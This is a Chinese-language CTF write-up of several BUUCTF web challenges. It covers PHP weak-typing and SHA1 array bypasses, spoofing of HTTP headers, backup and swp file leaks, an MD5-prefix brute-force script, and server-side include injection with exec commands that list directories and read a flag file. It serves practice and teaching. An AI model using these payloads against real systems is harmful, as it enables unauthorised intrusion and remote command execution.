BUUCTF web刷题记录 (一)
[极客大挑战 2019]Havefun
考点:GET请求
解题
1、F12
<?php
$cat=$_GET['cat'];
echo $cat;
if($cat=='dog'){
echo 'Syc{cat_cat_cat_cat}';
}
GET:cat=dog
[极客大挑战 2020]Roamphp1-Welcome
考点:http协议-请求方式、php函数漏洞
解题
1、进入题目,是一个空白页面,???POST发包,有惊喜
<?php
error_reporting(0);
if ($_SERVER['REQUEST_METHOD'] !== 'POST') {
header("HTTP/1.1 405 Method Not Allowed");
exit();
} else {
if (!isset($_POST['roam1']) || !isset($_POST['roam2'])){
show_source(__FILE__);
}
else if ($_POST['roam1'] !== $_POST['roam2'] && sha1($_POST['roam1']) === sha1($_POST['roam2'])){
phpinfo(); // collect information from phpinfo!
}
}
POST:roam1[]=1&roam2[]=2
搜索关键字flag,get flag。
[极客大挑战 2019]Knife
1、直接连上蚁剑。果真白给的shell。
[极客大挑战 2019]Http
考点:http协议
知识点:
解题
1、Ctrl+U查看源码,发现了Secret.php
2、
提示了访问的网址,用burpsuite添加Referer头
3、
要求使用Syclover浏览器,再添加User-Agent
4、只能本地访问,添加X-Forwarded-For
[BJDCTF 2nd]假猪套天下第一
考点:http协议
知识点:
解题
1、
2、
按要求把年份time改大
3、
要求本地访问,伪造IP,添加xff
头,不行,试了client-ip
可以
4、
要求来自Ying师傅博客的网站,添加Refere
r头
5、
对浏览器有要求,添加user-agent
,(google搜下这个浏览器全称
6、
要求请求的邮箱是root@gem-love.com,添加From
头
7、
添加Via
头。
[极客大挑战 2019]BuyFlag
打开menu下的payflag后,发现一些hint
1、要100000000 money
2、必须是成新的student
3、correct password
在源码最后的一段发现有用的注释
1、要post提交money和password,money用科学计数法
2、password要弱等于404,还不能是数字,就利用php弱类型
money=1e10&password=404a
没啥啊。。。
用burpsuite抓包
发现user值为0,果断改为1,嘿嘿嘿
[ACTF2020 新生赛]BackupFile(备份文件泄露&php弱类型)
1、用wsacn扫出备份文件index.php.bak
2、
<?php
include_once "flag.php";
if(isset($_GET['key'])) {
$key = $_GET['key'];
if(!is_numeric($key)) {//如果$key不是数字,输出Just num!
exit("Just num!");
}
$key = intval($key);
$str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3";
if($key == $str) {
echo $flag;
}
}
else {
echo "Try to find out source file!";
}
要求$key是数字,且弱等于123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3
测试:
所以,string在和int弱比较时,string会强制转换为int,删掉第一个字符及其后面的所有内容,只保留最前面的数字。
key=123就可。
[BJDCTF2020]EasySearch
考点:swp信息泄露、SSI注入
知识点
1、SSI服务端包含注入
解题
1、title是“login”
打开题目,是一个登录框
挨个尝试,发现/index.php.swp,存在缓存文件泄露
<?php
ob_start();//打开输出控制缓冲
function get_hash(){
$chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()+-';
$random = $chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)];//Random 5 times,例:Hd3$^
$content = uniqid().$random;//例:5fc4dac3cb3a3Hd3$^
return sha1($content); 例:17a07336341affe9c7adcaa9eed61e5fb05c771c
}
header("Content-Type: text/html;charset=utf-8");
***
if(isset($_POST['username']) and $_POST['username'] != '' )
{
$admin = '6d0bc1';
if ( $admin == substr(md5($_POST['password']),0,6)) {
echo "<script>alert('[+] Welcome to manage system')</script>";
$file_shtml = "public/".get_hash().".shtml";
$shtml = fopen($file_shtml, "w") or die("Unable to open file!");
$text = '
***
***
<h1>Hello,'.$_POST['username'].'</h1>
***
***';
fwrite($shtml,$text);
fclose($shtml);
***
echo "[!] Header error ...";
} else {
echo "<script>alert('[!] Failed')</script>";
}else
{
***
}
***
?>
分析:password经过md5后前6位字符是6d0bc1
,把那段文本写入ppublic/".get_hash().".shtml了
2、写个脚本跑下md5:
import hashlib
def md5(s):
return hashlib.md5(s.encode(encoding='UTF-8')).hexdigest()
for i in range(1000000000):
h = md5(str(i))
if h[0:6] == "6d0bc1":
print(i)
break
3、username没做要求,随便写,password就用跑出来的2020666
访问返回的文件
4、利用SSI注入漏洞,尝试在username处执行ssi语句进行RCE
查看根目录:
<!--#exec cmd="ls /"-->
查看当前目录:
<!--#exec cmd="ls"-->
目录穿越:
<!--#exec cmd="ls ../"-->
<!--#exec cmd="cat ../flag_990c66bf85a09c664f0b6741840499b2" -->
总结
看到.shtml,就考虑SSI注入